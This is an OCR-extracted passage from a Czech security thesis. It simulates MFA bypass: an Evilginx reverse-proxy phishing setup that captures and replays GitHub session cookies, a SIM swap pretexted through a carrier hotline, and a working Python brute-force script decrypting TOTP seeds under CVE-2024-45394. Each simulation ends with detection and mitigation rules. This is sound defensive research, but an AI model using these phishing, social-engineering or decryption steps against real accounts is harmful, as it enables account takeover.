.1 login.ootlook.cz www.ootlook.cz live.ootlook.cz account.ootlook.cz aadcdn.ootlook.cz aadcdnn.ootlook.cz
ootlook.cz outlook.ootlook.cz storage.ootlook.cz accounts.ootlook.cz www2.ootlook.cz

Obrazek 17 Vypis obsahu hosts

(zdroj: vlastni)
5.5 Zpracovani TLS certifikati lokalné

Standardni rezim Evilginx pouzivd Let's Encrypt pro automatické ziskdvani TLS
certifikatli. Tento proces vSak vyZaduje vetejné dostupny server a platné DNS zdznamy, coZ

nelze v lokalnim prostfedi splnit.

Proto je k dispozici rezim pro vyvojafe (-developer), ktery vypind automatické
ziskavani certifikati a generuje self-signed certifikaty pro vSechny potiebné hostitele.
Zaroven vytvori vlastni kofenovy certifikat CA (ca.crt), ktery je tfeba importovat do systému

nebo prohlizece, aby byl diveéryhodny.

Napt. ve Firefoxu se certifikat importuje do sekce Authorities ve spravcei certifikati,

¢imz se zajisti, ze spojeni s lokalnim serverem nebude vyhodnoceno jako nedivéryhodné.



] Settings X +

# Firefox about:preferences#searchResults

X Kali Forums X Kali NetHunter Exploit-DB Gongle Hacking DB OffSec

Certificate Manager

Your Certificates Authentication Decisions People Servers

You have certificates on file that identify these certificate authorities

Certificate Name Security Device
+ Entrust.net
Entrust.net Premium 2048 Secure Se... Builtin Object Token
~ Evilginx Signature Trust Co.
Evilginx Super-Evil Root CA Software Security Device
~ Firmaprofesional SA
FIRMAPROFESIONAL CAROOT-A W... Builtin Object Token

EaAT ness

Import...

Obrazek 18 Pridani certifikatu
(zdroj: viastni)

Alternativné je mozné pouZit i ruéné vytvoiené certifikaty — vefejny kli¢ (.crt/.pem) a
privatni klic (.key), které se umisti do adresaie ~/.evilginx/crt/sites/ a aktivuji pomoci

ptikazu: config autocert off. Privatni kli¢ pfitom nesmi byt chranén heslem.

Timto zplisobem je moZné provozovat Evilginx plné lokalné, vCetné zabezpeceného

HTTPS spojeni, bez zavislosti na vefejné internetové infrastruktufe.

5.6 Demonstrace zachyceni relace

Tato kapitola popisuje prakticky postup simulace Gtoku v kontrolovaném prostredi, od

vytvofeni ndvnady po piehrani relace



5.6.1 Zachyceni prihlaSovacich idaji a session cookies

Po tspésné konfiguraci Evilginx pro lokélni béh (viz sekce 4) a aktivaci phishletu pro
cilovou sluzbu (at’ uz realnou externi sluzbu nebo lokalni testovaci aplikaci) pomoci piikazu

phishlets enable <nazev phishletu>, 1ze zah4gjit simulaci.

Prvnim krokem je vytvofeni navnady (lure) v ramci Evilginx, kterd je asociovédna s
aktivovanym phishletem. K tomu slouzi ptikaz lures create <ndzev phishletu>. Tim se
vygeneruje unikatni phishingova URL adresa. Navnady lze dale konfigurovat, napf.
pfidanim parametrii hostname, ktery je shodny s ndzvem v /etc/hosts nebo nastavenim
redirect url adresy, na kterou bude obét piesmérovana po UspéSném zachyceni

ptihlaSovacich udaji nebo tokenti pomoci lures edit <id> redirect url <url>.

phishlet hostname redirector redirect_url paused

Obrazek 19 Seznam lures
(zdroj: vlastni)

Ptikaz Lures get-url <ID phishlety> zobrazi kompletni phishingovou URL adresu, ktera
je pfipravena k testovacimu pouziti. Hodnota ID odpovida ¢iselnému identifikatoru lure,
ktery lze ziskat pomoci piikazu lures. Tento krok je dileZity pro zadani piesné adresy do

prohlizece nebo distribuci v ramci simulovaného utoku.

Obrazek 20 Ziskani phishing URL
(zdroj: vlastni)

Obét’ nasledné piistoupi na vygenerovanou URL adresu ve svém prohlizeci. Obét
interaguje s redlnou piihlaSovaci sluzbou prostiednictvim proxy. Zadava své ptihlaSovaci
udaje a dokoncuje MFA proces. Evilginx béhem celé relace sleduje sitovy provoz a podle
pravidel v sekcich credentials a auth tokens aktivniho phishletu zachycuje klicové

informace.



O 8 githab.com

ali Docs N Kali Forums &\ Kali NetHunter Exploit-DB Google Hacking DB OffSec

O

Sign in to GitHub

Username or email address

Password

New to GitHub?

Obrazek 21 Landing page phishing URL
(zdroj: vlastni)

O 8 o ht githab.com

KaliDocs ¥ KaliForums e Kali NetHunter Exploit-DB Google Hacking DB OffSec

O

Sign in to GitHub

Username or email address

testginx

Password

G08800800080000000000000000

Sign in

New to GitHub?

Obrazek 22 Vyplnéni udajii obéti

(zdroj: vlastni)



github

Text Message - SMS
Today 12:26

499080 is your GitHub authentication
code.

Obrazek 23 SMS OTP
(zdroj: vlastni)

Po Gsp&$ném dokonceni druhého faktoru proxy server Evilginx v redlném Case zachyti
autentizacni tokeny a session cookies, aniz by si toho obét’ vSimla. Obét’ je nésledné
presmérovana na skutecnou stranku GitHubu, kde se ji jako legitimné ptihlaSenému uzZivateli
zobrazi jeji osobni dashboard, repozitate a veskeré funkce platformy — vSe probihd zcela
transparentné, takZe nedojde k Zddnému varovani ani bezpecnostnimu upozornéni. Mezitim
utocnik ziskané cookies ve formatu JSON jednoduse importuje do svého prohlizece a ziska
plny pfistup k Uctu obéti pod jeji identitou, vCetné moznosti Cist soukromé repozitare,

provadét zmény v kodu nebo vygenerovat nové piistupové tokeny.



c @ o8 githab.com

KaliLinux @ KaliTools = KaliDocs N Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB OffSec

O testginx

[ Overview

Popular repositories

[y
You don't have any public repositories yet.

1 contribution in the last year

Mar Apr May

Edit profile

e your first re| nd eam e green squares!

Read the Hello World guide

Obrazek 24 Prihlaseni obéti
(zdroj: viastni)

Zachycené informace se zobrazuji v realném case v konzoli. Uto¢nik miize kdykoliv

zobrazit seznam zachycenych relaci a jejich detailli pomoci piikazu sessions.

: sessions

id phishlet username password tokens remote ip time

28 capture 27.0.0.1 2025-03-28 07:26

Obrazek 25 Vypis sessions
(zdroj: vlastni)

Pro podrobny zobrazeni vSech informaci o konkrétni session 1ze vyuZit ptikaz sessions
<ID>. Tento piikaz vypiSe kompletni detaily od zadanych uZivatelskych udajii, zachycené
tokeny, URL, user-agent, IP adresu, ¢asy vytvofeni a aktualizace i seznam vSech cookies

spojenych s danou session.



Obrazek 26 Detailni vypis sessions

(zdroj: vlastni)

Tyto cookies jsou zobrazeny ve formatu JSON, které¢ mtize uto¢nik importovat do svého

prohlizece.

5.6.2 Ilustrace obejiti MFA pomoci zachycenych tokeni

Po uspésném piihldSeni obéti pies phishingovou stranku vydéa cilova sluzba relaci
reprezentovanou session cookies. Evilginx, jako reverzni proxy, tuto komunikaci zachytava

a podle definic v aktivnim phishletu extrahuje potiebné hodnoty.

Ziskané tokeny maji stejnou platnost jako ty, které by byly vytvofeny pii bézném,
legitimnim ptfihlaSeni, umoznuji tedy ptistup k uctu bez potieby dalsi autentizace. Neni nutné
znat heslo ani znovu prochazet MFA procesem. Tento pfistupovy scénaf je znamy jako

AiTM session hijacking.

Na stran¢ Uto¢nika pak dochdzi k tzv. ptehrani relace. Uto¢nik importuje zachycené
session cookies do svého prohlizece. To lze provést naptiklad pomoci rozsifeni Cookie-
editor nebo pifimo skrze vyvojaiské nastroje. Import spocivd v manualnim nastaveni

parametrti zachycenych cookies, jako je nazev, hodnota, doména a cesta.



A % github.com

X m W w BH ® 2 | b Cookie-Editor - Import

Supported format: JSON, H
[{"path":"/","domain":".github.com", "expirationDate" :177469

Signin to GitHub

Username or email address

Password

New to GitHub?

Obrazek 27 VloZeni session cookies
(zdroj: viastni)

Po uloZeni cookies a obnoveni stranky dojde k nacteni uzivatelského rozhrani ve stavu
pfihlaSeného uzivatele. Systém totiz neméd moZznost odliSit, Ze token nebyl vytvofen na

aktualnim zafizeni. Jedna se o platnou relaci, jiz diive autorizovanou obéti.

Timto zptisobem dochazi k obejiti vicefaktorového ovéreni. Nejednd se o prolomeni
nebo obejiti samotného autentizaéniho mechanismu, ale o zneuZiti jeho vysledku. MFA bylo
skutecné provedeno jen nikoli uto¢nikem, ale obéti, jejiz ovéfend relace byla nasledné

pievzata.



] % github.com

B O x »@w B0 232

x

Repositories  [{] Projects () Packages ¥

Popular repositories

You don't have any public repositories yet.

1 contribution in the last year

Mar Apr  Msy  Jun Jul Aug  Sep Oct Nov

Edit profile

This is your contribution graph. Your first square is for joining GitHub and you'll earn more as you make
@ Joined 4 days ago . More contributions means a higher contrast square color for that day. Over time,
your chart might start looking

We have a quick guide that will show you how to create your first repository and earn more green squares!

[T] Read the Hello World guide

Obrazek 28 Utet obéti
(zdroj: vlastni)

Uto¢nik navic mize vyuzit informace zachycené spolu s tokenem, zejména fetézec
User-Agent a nastavit své prostfedi tak, aby se podobalo tomu obéti. To pomaha snizovat
pravdépodobnost detekce anomalii, napt. zmén typu zatizeni nebo verze prohlizece v ramci

jedné relace.

Zaroven vSak ruéni manipulace s cookies nebo nestandardni vzory chovéni jako je
import relace bez ptedchoziho ptihlaSeni predstavuji detekéni vektory pro obranné systémy.

V praxi mohou byt tyto kroky monitorovany a vyhodnoceny jako indikatory kompromitace.

5.7 Prehled vysledkii simulovanych ttokii

Po uspéSném nasazeni a konfiguraci testovaciho prostiedi byly provedeny simulované
utoky zaméfené na rizné online sluzby s aktivovanou vicefaktorovou autentizaci. Cilem
bylo prakticky ovéfit, do jaké miry je mozné prostiednictvim utoku typu AiTM narusit

bezpecnostni model jednotlivych autentiza¢nich schémat a obejit druhy faktor ptihlaSeni.

Testovani probihalo na testovacich uctech v lokdlnim prostfedi a smérovani
prostiednictvim souboru hosts. Byly pouzity rizné phishlety, které reprezentovaly realné
ptihlaSovaci brany zndmych sluzeb. Pro kazdou cilovou sluzbu byla zaznamenana Gispé$nost
utoku v zévislosti na typu pouzité autentizace a na tom, zda se podafilo ziskat a nasledné

vyuZit session cookie.



phishlet username password tokens remote time

2025-03-28
2025-03-28
2025-03-28
2025-03-28

Obrazek 29 Seznam vSech zachycenych relaci
(zdroj: viastni)

5.7.1 Outlook

Byly provedeny dva oddélené ttoky. Jeden s vyuzitim SMS OTP, druhy s pouzitim
mobilni autentizacni aplikace. V obou piipadech Evilginx zachytil ptfihlaSovaci udaje 1
session cookies, coz naznacuje, ze forma druhého faktoru neméla vliv na podobu relace.
Pokus o jejich vyuziti vSak nebyl uspésny. Po vlozeni cookies do prohlizece dochézelo pouze
k cykleni na pftihlaSovaci strance, bez nacteni uzivatelského profilu. Tento vysledek

naznacuje pfitomnost dodatecnych ochrannych mechanismi na stran¢ sluzby.

5.7.2 Facebook a Instagram

Pfihlaseni do sluzeb Facebook a Instagram probéhlo uspésné, avSak nedoslo k
zachyceni autentizacnich tokenti. Tento vysledek muze naznacovat implementaci
ochrannych mechanismi na strané serveru, jako jsou atributy HttpOnly a Secure u cookies,

Content Security Policy (CSP) nebo detekce a prevence ptistupu pies reverzni proxy.

5.7.3 Shrnuti

Simulované utoky potvrdily, ze uCinnost AiTM utokd zavisi nejen na typu
vicefaktorové autentizace, ale zejména na zplisobu spravy relace, bezpecnostnich hlavickach
a obran¢ na strané serveru. Zatimco GitHub umoznil kompletni obejiti autentizace, Outlook
prokazal pfitomnost ochrannych kontrol, které znemozZnily vyuziti zachycené relace.
Facebook a Instagram nebyly z pohledu uto¢nika vysoce zranitelné, 1 kdyZ pfihlaSeni opticky
prob&hlo uspésné. Vysledky potvrzuji, Ze bézné MFA metody (napi. TOTP nebo SMS)

nemusi byt dostatecné odolné viici sofistikovanym phishingovym utokim a piehrani relace.

5.7.4 Navrh detekénich pravidel

e Nasazeni phishing-resistant autentizace (FIDO2/WebAuthn, U2F) - Pfejit na

hardwarové bezpecnostni klice, jejichZ privatni klice jsou vazany pouze na



registrovanou doménu, aby bylo znemoznéno zachyceni a zneuZiti relace pies

reverzni proxy.

Zékaz fallback na ne-phishing-resistant metody — Zakazat SMS OTP ¢i OOB
push jako zalozni metody pro FIDO2, aby se zabranilo downgrade ttokiim na

zranitelnéjsi formy MFA.

Validace hlavicek a token binding — Kontrola hlavi¢ek Origin a Referer,
nastaveni SameSite atributu u cookies a vyuziti token bindingu pro pevné

vazani tokenil na konkrétni zatizeni ¢i prostiedi.

Podminény pfistup a Continuous Access Evaluation — Konfigurovat
Conditional Access Policies s redlnou re-validaci sezeni, vyzadovat compliant
zafizeni a vyhodnocovani sign-in rizika pro okamzitou reakci na podezielé

aktivity.

Detekce MiTM a reverzni proxy na klientské stran¢ — Implementace
obfuskované¢ho JavaScriptu pro kontrolu window.location.host a nasazeni

Htrap® stranek, které pii detekci proxy blokuji ptistup.

Sitova ochrana a monitoring — Zavést DNS filtrovani, Secure Web Gateway,
traffic inspection a SOC monitoring s log auditem a analyzou anomalii sitového

provozu.

Anti-phishingové technologie a threat intelligence — Pouzivat komunitni/Al
skenery URL, blokovat podezielé domény a spoustét automatické takedowny

znamych phishing kitd.

E-mailova ochrana — Zapnout SPF, DKIM, DMARC, sandboxing piiloh a
funkce Safe Links/Safe Attachments pro Office 365.

Omezeni OAuth konsentl a sprava opravnéni — Omezit uZivatelsky souhlas s
nepotiebnymi aplikacemi, pravidelné revokovat nadbytecnd opradvnéni a

monitorovat nové OAuth aplikace.

Pravidelné aktualizace a patch management — UdrZovat operacni systémy,

prohliZzece a bezpecnostni néstroje v nejnovéjsich verzich.



e Vzdélavani uzivateld a incident response — Provadét pravidelné anti-
phishingové tréninky, simulace utoka a udrzovat pfipraveny plan reakce na

incidenty.



6 SIMULACE SIM SWAPU

V téhle kapitole je popsan proces simulace SIM swapu, ktery byl rozdélen do n€kolika fazi.

6.1 Ziskani predplacenych karet

Nejprve bylo zajisténo potizeni dvou piedplacenych SIM karet od stejného mobilniho
operatora. Stejny operator byl zvolen za icelem minimalizace problémi pii pokusu o utok.
Ob¢ karty byly potizeny v trafice za hotovost v riznych dnech. Béhem nékupu byla v obou
pripadech polozena otazka ,,K ¢emu ji budu pottebovat?, na kterou byla vzdy odpovéd’ ,,Na

Skolni projekt™ akceptovana bez dalSich dotazii.

Vase telefonni &islo (MS!SDN

+420) /3586413
IR IIIIIIIIIIIIIIIII (|}

Cislo Vasi karty (ICCID)
8942001250310802148 45
Datum expirace: 24.10.2029

Obrazek 30 Predplacena karta ¢.1

(zdroj: vlastni)

0TI RO AT

Vase telefonni €islo (MSISDN)

1420) 735994091
AT I

Cislo Vasi karty (ICCID)
8942001250310968982 /i
Datum expirace: 24.10.2029

Obrazek 31 Predplacena karta ¢.2

(zdroj: viastni)



6.2 Aktivace karet

Po obdrzeni SIM karet byly karty vlozeny do dvou mobilnich zatizeni oznacenych jako
primarni (obét’) a sekundarni (Gto¢nik). Bylo provedeno standardni aktivacni nastaveni dle

instrukci operatora.

Dobry den, overovaci kod
ucastnika pro telefonni cislo
735864135 je

‘ednaseo
citlivy udaj, ktery prosim
nikomu nesdelujte. Vas
MOBIL.CZ

Obrazek 32 aktivace karty ¢.1

(zdroj: viastni)

Dobry den, overovaci kod
ucastnika pro telefonni cislo
735994091 je

. Jedna se o
citlivy udaj, ktery prosim
nikomu nesdelujte. Vas
MOBIL.CZ

Obrazek 33 aktivace karty ¢€.2

(zdroj: viastni)



Dale bylo ovéieno, ze obé zatizeni piijimaji SMS zpravy a ptichozi hovory a jsou plné

funkéni.

735 864 135 (3) sturtek ()

¥ g, TIT e
_eSKO

Obrazek 34 Ovéfeni ¢.1

(zdroj: vlastni)

+420 735 994 091 (2)

Czechia

Thursday (:)

Obrazek 35 Ovéieni ¢.2
(zdroj: vlastni)

6.3 Provedeni utoku

Po ovéteni funkcnosti karet byl simulovany ttok realizovan formou telefonického
hovoru na zadkaznickou linku mobilniho operatora. Pfi prvnim hovoru bylo operatorovi
sdéleno, Ze primarni SIM karta neboli SIM karta obéti, byla poSkozena a Ze telefonni ¢islo
bylo distribuovéano vice uzivatelim. Byla tedy poZadana vymeéna telefonniho ¢isla na novou
SIM kartu. Tenhle poZzadavek na pfevod ¢isla na sekundarni kartu byl operatorem pfijat,
avSak byla vyzadovadna dodate¢na verifikani udaj pro pokracovani formou kodu PUK2,
ovetovaciho kodu zaslaného pomoci SMS pii aktivaci karty nebo ¢islo karty ICCID, ktera
nebyla poskytnuta. Z pohledu tto¢nika k témto verifikaénim tidajim nebyl pfistup, a bylo
sd€leno, Ze se aktudln€¢ nachazi na cestach a Udaje nejsou k dispozici, s cilem provést
vyménu karet bez predani verifikacnich 1daju. Jelikoz nebyla dolozena jedna
z pozadovanych identifika¢nich udajti, byla Zadost operatorem zamitnuta a prvni pokus o

SIM swap skon¢il v netaspéch.

O par dni pozdé€ji byl proveden druhy pokus o SIM swap stejnym zpiisobem. Znovu
bylo operatorovi sdéleno, Ze byla poSkozena primarni SIM karta neboli SIM karta obéti, a
byla podana Zadost o pfifazeni stejného €isla k nové karté. Operatorem byla opét v rdmci

ovéfovaciho procesu vyzadana hodnota PUK?2, ovétovaci kod zaslaného pomoci SMS nebo



ICCID. Opét byl vyzkousen pokus o obejiti s cilem preskocit predani identifikacnich idaj a
provedeni vymény SIM karty. Zadost nasledné byla opét operatorem zamitnuta, a tak i druhy

pokus o SIM swap skoncil v netspéch.

Tento postup by bylo mozné opakovat az do okamziku, kdy by byl osloven operator s
nedostate¢nou zkuSenosti ¢i Skolenim, ktery by bez predlozeni dodate¢nych identifikacnich

udajii ptevedeni telefonniho ¢isla na novou kartu schvalil.

Pro ukazku uspésného SIM swapu bylo pii dalsim pokusu sdé€leno jeden z valida¢nich
udaju. Diky stafi SIM karet byla operatorem nabidnuta moznost pienést telefonni ¢islo obéti
pfimo na utocnikovu SIM kartu nebo na novou piedplacenou kartu. Byla zvolena moznost

pfenosu na aktudlni kartu.

f MOBIL.CZ pred 2 hod |

Dobry den, vymena SIM karty probehla
uspesne, Vase tel.cislo 735864135 je jiz
plne funkcni. MOBIL.CZ

Obrazek 36 Simulace uspésné vymény Cisla
(zdroj: vlastni)

Po uplynuti 30 minut byla doru¢ena SMS zprava na telefon Gto¢nika potvrzujici, ze
telefonni Cislo obéti bylo tispésné pieneseno na SIM kartu Gto¢nika, jak jde vidét na Obrazek

36.

Na telefonu obéti byl nasledné zobrazen stav ,,no Service®.

No Service =

Obrazek 37 Deaktivovana SIM
(zdroj: viastni)

Nasledné bylo provedeno ovéieni, ze na telefonu ttocnika je skutecné ¢islo obéti zavoldnim

na osobni ¢islo.



+420 735 864 135
Czechia RUReay @

&

Obrazek 38 Ovéreni ziskaného ¢isla
(zdroj: vlastni)

Timto bylo potvrzeno, ze ukazka SIM swapu byla uspé$né provedena.

6.3.1 Shrnuti

Simulace SIM swapu ukézala, ze k potrizeni ptredplacené SIM karty stacilo pouze
zazadat a zaplatit, coZ naznacuje nizkou uroven ochrany pii ziskavani téchto karet.
VSechny pokusy o SIM swap byly zamitnuty kvili nedostate¢nym identifikaénim
udajiim, které nebyly k dispozici z pohledu Uto¢nika. Pokud by vSak simulace cilila na
telefonni Cislo registrované na konkrétni, redlnou osobu, pozadované identifika¢ni udaje
by se mohli lisit, coz by mohlo ovlivnit uspéSnost utoku. Simulace potvrdila dilezitost
silnych autentifikaénich procesi a Skoleni operatorti, ktefi mohou zabranit
neopravnénému pievodu telefonniho ¢isla. I kdyz simulace v tomto pifipad¢ neuspéla,
teoreticky by mohla byt tispéSna v piipad¢ neSkoleného operatora nebo nedostatecnych

ochrannych opatieni.

6.3.2 Navrh detekénich pravidel

e Vicenasobné netispésné pokusy o SIM swap — Pokud je béhem jedné hodiny
zaznamenano vice nez 3 neuspé$nych pozadavkil na ptenos SIM, je vyvolan

alert.

e Zidost bez ovéfeni PIN/PUK kodu — Vsechny zadosti, u kterych nebyl
ptedlozen platny PIN/PUK, jsou oznaeny jako vysoké riziko.

e Chybéjici nebo nevyhovujici doklad totoznosti — V ptipadech, kdy nebyl nahran

nebo ovéfen platny doklad totoznosti, je incident automaticky vyvolan.

e Anomalie v lokaci nebo IP adrese zadosti — Pokud je Zadost podéana z IP adresy
mimo obvyklou geolokaéni oblast uzivatele nebo pfes anonymizacni sluzbu

(Tor, VPN), je vyvolan incident.



Neobvykla doba podani Zadosti — Zadosti podané mimo standardni pracovni
dobu operatora napt. mezi 22:00-06:00 nebo o vikendech a svatcich jsou

oznaceny jako podezielé.

Absence call-backu na registrované cislo — VSechny pfipady, kdy neni
uskuteCnén ¢i prijat oveéfovaci hovor zpét na registrované Cislo, jsou

automaticky alertovany.

Behavioralni anomalie operatora — Jestlize je zjiSténo, Ze jeden operator
zpracovava nadprumérné mnozstvi SIM swapt nebo dosahuje vyrazné vyssiho

pomeéru schvaleni nez kolegové, je spusténa interni kontrola.

Rychly sled udalosti — Kdyz po zadosti o SIM swap béhem nékolika minut
nasleduje dal$i citlivd operace napf. zména hesla, registrace nového MFA

zatizeni, jsou dalsi akce zablokovany a vyzadano sekundarni ovéfeni.
Sledovani sdileni osobnich tdaji — Pfichozi z&dosti jsou analyzovény na
pritomnost citlivych tdaji napt. rodné ¢islo, adresa a v pripadé netplnych ¢i
chybnych informaci je vyzadano doplnéni.

Neznamé zatizeni nebo prohlize¢ — VSechny Zadosti podané z nového ¢i dosud

neasociovaného zatizeni nebo prohliZzece jsou zaznamendany a alertovany.



7 EXTENSION AUTHENTICATOR

V této kapitole byla provedena simulace zranitelnosti CVE-2024-45394, ktera postihuje
rozsifeni Authenticator ve verzich 7.0.0 a nizSich. Authenticator je rozsSiteni prohlizece pro
generovani kodu dvoufaktorového ovéfovani. Ve zasazenych verzich jsou Sifrovaci klice pro
lokaln¢ ulozena data odvozeny zastaralou funkci EVP_ BytesToKey (KDF) a ulozeny bez
dalSich ochrannych mechanismii pouze pomoci AES-256, coz umoziuje utocnikovi, ktery

ziska kopii zasifrovanych souborti, prolomit kli¢ hrubou silou.

S vydanim verze 8.0.0 bylo zavedeno moderni KDF-based Sifrovani a pifi prvnim
prihlaseni probihd automaticka migrace starych dat, pficemz uzivatelé jsou instruovani

zlikvidovat zalohy vytvofené ve verzich starsi 8.0.0. [78]

7.1 Instalace a nastaveni starsi verze

Star$i verze roz$ifeni byla staZzena z oficidlniho repozitdfe na GitHubu, konkrétné

z odkazu https://github.com/Authenticator-Extension/Authenticator/releases/. Pro ucely

simulace byly vybrany a stazeny verze 5.3.2, 6.3.4 a 7.0.0, které jsou zranitelné vici CVE-
2024-45394. Tyto verze byly nasledn¢ pouzity pro analyzu a testovani zranitelnosti.

V nastaveni jsou dv¢ tlacitka pro zalohovani:

Backup your data to a file.

Obrazek 39 Moznosti stazeni

(zdroj: vlastni)


https://github.com/Authenticator-Extension/Authenticator/releases/

Pokud neni nastaveno hlavni heslo, tla¢itko Download Password-Protected Backup
zustava neaktivni a stdhnout mize byt stazena pouze plaintextova zaloha, kterd obsahuje

piimo otpauth URL, napft.:

Tabulka 1 Ukézka plaintextovych zaloh

otpauth://totp/pet?secret=JBSWY3DPEHPK3PXP
otpauth://totp/sest:?secret=JBSWY3DPEHPK3PXP&issuer=sest
otpauth://totp/sedm: ?secret=JBSWY3DPEHPK3PXP&issuer=sedm

otpauth://totp/osm: ?secret=JBSWY3DPEHPK3PXP&issuer=osm

(zdroj: vlastni)
Po aktivaci hlavniho hesla se zptistupni zaloha chranéna heslem a data se Sifruji.

Stejna data plaintext Ul-export nebo password protected JSON jsou také fyzicky uloZena

v profilu prohlizece:

/home/kali/chromium-pokussedm-profile/Default/Sync Extension
Settings/fdmjbdieafcohebllfijmjlnpjlpobmhg/

7.2 Verze 5.3.2

V téhle verzi byly Sifrovaci klice odvozeny pomoci OpenSSL-style funkce
EVP BytesToKey, kterou CryptoJS implementuje tfidou EvpKDF. Heslo bylo
kombinovano se salt o délce osmi bajtli a hasherem MD35, pficemzZ probéhla jedina iterace.
Z vysledného proudu bajti bylo prvnich 32 bajti pouzito jako klic pro AES-256 a
nasledujicich 16 bajth jako inicializa¢ni vektor (dale jen IV). Plaintext, tedy TOTP seed, byl
doplnén podle PKCS#7 na velikost bloku a nasledné zaSifrovan v rezimu CBC. Vysledny
bytestream byl prefikovan fetézcem ,,Salted  “ v Base64 mé podobu ,,U2FsdGV;jX18=", ke

kterému byla pfipojena salt a ciphertext a cel¢ se zakddovalo do Base64.



Tabulka 2 JSON verze 5.3.2

"d5137af04e6db3d751ecl1d082c290731": {
"account": "pet",
"counter": O,

"encrypted": true,

"hash": "d5137af04e6db3d751ecl1d082c290731",
"index": 0,

"issuer": "",

"secret":

"U2FsdGVkX1810RATJIdQ2mhshHmehOyFOc/reTAg+VSM4tnK/tyaG331oP+VilWaz5"

4

thpen: "totp"

(zdroj: vlastni)

V tomto JSONu predstavuje kli¢ ,,d5137af04e6db3d751ec1d082¢290731° unikatni
identifikator polozky. Vnoteny objekt obsahuje pole account s ndzvem uctu, pole counter
indikujici interni ¢ita¢, encrypted urCuje, Ze hodnota secret je Sifrovana, hash opakuje
identifikator, index udava potadi polozky, issuer udava sluzbu, ke které patii, secret obsahuje
Base64-zakodovany bytestream prefikovany ,,Salted  + salt + ciphertext® a type definuje,
ze se jedna o TOTP data.

7.2.1 Simulace bruteforce prolomeni verze 5.3.2

Pro praktickou demonstraci zranitelnosti byl pouzit Python skript, kterd nacte vySe
uvedeny JSON, dekoduje Base64 z pole secret, extrahuje salt a ciphertext, provede derivaci
kli¢e a IV pomoci EVP_BytesToKey a nasledné desifruje AES-256-CBC. Skript iteruje pies
jednoduchy wordlist deseti hesel a testuje kazdé z nich, dokud neodhali desifrovany TOTP

seed.



Tabulka 3 Python script pro bruteforce JSONu

import Jjson

import base64

import hashlib

from Crypto.Cipher import AES

# JSON entry from version 5.3.2

entry = {

"d5137af04e6db3d751ec1d082c290731": {

"account": "pet",
"counter": O,

"encrypted": True,

"hash": "d5137af04e6db3d751ec1d082c290731",
"index": O,

"issuer": "",

"secret":

"U2FsdGVkX1810RATJIAQ2mhshHmeh0yFOc/reTAg+VSMAtnK/tyaG331oP+ViWaz5"

4

"type": "tOtp"

def evp bytes to key(password, salt, key len, iv len):
data = b'""
prev = b''
while len(data) < key len + iv_ len:
prev = hashlib.md5 (prev + password + salt) .digest ()
data += prev
return data[:key len], datalkey len:key len+iv_len]
def decrypt secret (b64 ciphertext, password):
raw = baseb64.bb4decode (b64 ciphertext)
assert raw[:8] == b"Salted "
salt = raw[8:16]
ct = raw[1l6:]
key, iv = evp bytes to key(password.encode (), salt, 32, 16)
cipher = AES.new(key, AES.MODE CBC, iv)
pt = cipher.decrypt (ct)
pad len = pt[-1]
return ptl:-pad len].decode('utf-8', errors='ignore')
# Extract the ciphertext from the JSON
record = entry["d5137af04e6db3d751ec1d082c290731"]




cipher b64 = record["secret"]

# Wordlist of 10 passwords, last one is "pass"

Wordlist
=["123456", "password", "gwerty", "letmein", "admin", "userl23", "welcom
e","testl1l234","secret", "pass"]

# Brute-force simulation with prints
for pwd in wordlist:
print (f"Testing password: {pwd}")
try:
pt = decrypt secret(cipher b64, pwd)
# Check if decrypted text looks like the known TOTP secret
if pt.isalnum() :

print (£"*** HESLO nalezeno: {pwd}")

print ("Desifrovany secret:", pt)
print (f"account= {record['account']} secret= {pt}")
break

except Exception:
continue
else:

print ("Heslo nebylo v seznamu nalezeno.")

(zdroj: vlastni)

Testing password: 123456
Testing password: password
Testing password: qwerty
Testing password: letmein
Testing password: admin
Testing password: userl23
Testing password: welcome

Testing password: testl234

Testing password: secret

Testing password: pass

x*xx HESLO nalezeno: pass

Desifrovany secret: JBSWY3DPEHPK3PXP
account= pet secret= JBSWY3DPEHPK3PXP

Obrazek 40 Vystup z pythonu

(zdroj: vlastni)




Z odcizeného TOTP seedu mohou byt generovany platné jednorazové kody. Ziskani
pfistupu k chranénym Gétim miize byt umoznéno prostfednictvim téchto vygenerovanych
kli¢h. Dlouhodoby pfistup k dotCenym sluzbam muze byt zachovan, dokud nebude seed
resetovan nebo vymeénén. Citlivé operace, jako jsou finan¢ni transakce ¢i zmény

bezpecnostnich nastaveni, mohou byt autorizovany bez védomi vlastnika uctu.

7.3 Verze 6.3.4

Ve verzi 6.3.4 doslo k narocnéjsi derivaci klice pomoci Argon2id KDF, zatimco

Sifrovani AES-256-CBC zustalo zachovano. Struktura JSON je nasledujici:

Tabulka 4 JSON verze 6.3.4

"67690321-537c-4cb0-a792-2b£fcfl137£7b2": {

"encrypted": true,

"hash": "67690321-537c-4cb0-a792-2bfcfl37£f7b2",
"index": 0,

"type": "totp",

"secret":

"U2FsdGVkX18vZI9mfpsG/jiporPBoECNg2PgNsygRxMdczxfOSXHKev3P1ldopZljE"

4

"issuer": "sest"

s
"key": {

"enc":
"U2FsdGVkX1+vQOowlHzCX1irc81lhlzIrfX9hTC30cojpJurVchlEjglfZjedzSiDQ
5K8+UdABOt0d494QL+jczi3ZpKbikW8BC2hz/iDSMYiiyIDistglZxZFRmZ+OmhKm/
WkFPeTBcfJAncalLVJZ/Jjrhcf01ks8Kfj80qW4GjOhZUoNZj+fvS704zfwzsio",

"hash":
"Sargon2id$v=195m=16384,t=1,p=1S0CHd1j9])9])]dE6tMk8GZ6+wSigAPb0OcfbOy
YwzVBR1zU2vEVNA4sBXPe"

}

(zdroj: viastni)

V objektu identifikovaném klicem ,,67690321-537c-4cb0-a792-2bfct137f7b2* pole
secret stale obsahuje Base64 vystup AES-256-CBC, avSak derivace kli¢e a IV jiz probéhla
pomoci Argon2id s parametry m= 16384 kB, t =1, p=1. V &asti key je enc Sifrovany hlavni

heslo material a hash pak fetézec v Argon2id formatu, specifikujici ptislusné parametry.



7.4 Verze 7.0.0

Struktura je stejnd jako ve verzi 6.3.4, liSi se pouze hodnoty identifikatora a

Sifrovanych textt. KDF zlstava Argon2id se stejnymi zakladnimi parametry.

Tabulka 5 JSON verze 7.0.0

"d4b6d9fd-2ael-4c25-adfl-1a14d0cb8al2": {
"encrypted": true,

"hash": "d4b6d9fd-2ael-4c25-adfl-1al14d0cb8al2",

"index": 1,
lltypell: lltotpll,
"secret":

"U2FsdGVkX1/bPNDrkiBvx+CgJ6VLZSJ4w/fFi0QsLgbgEtPs09Xfn83HGQUUhINN"

4

"issuer": "sedm"

by
"key": {

"enc":
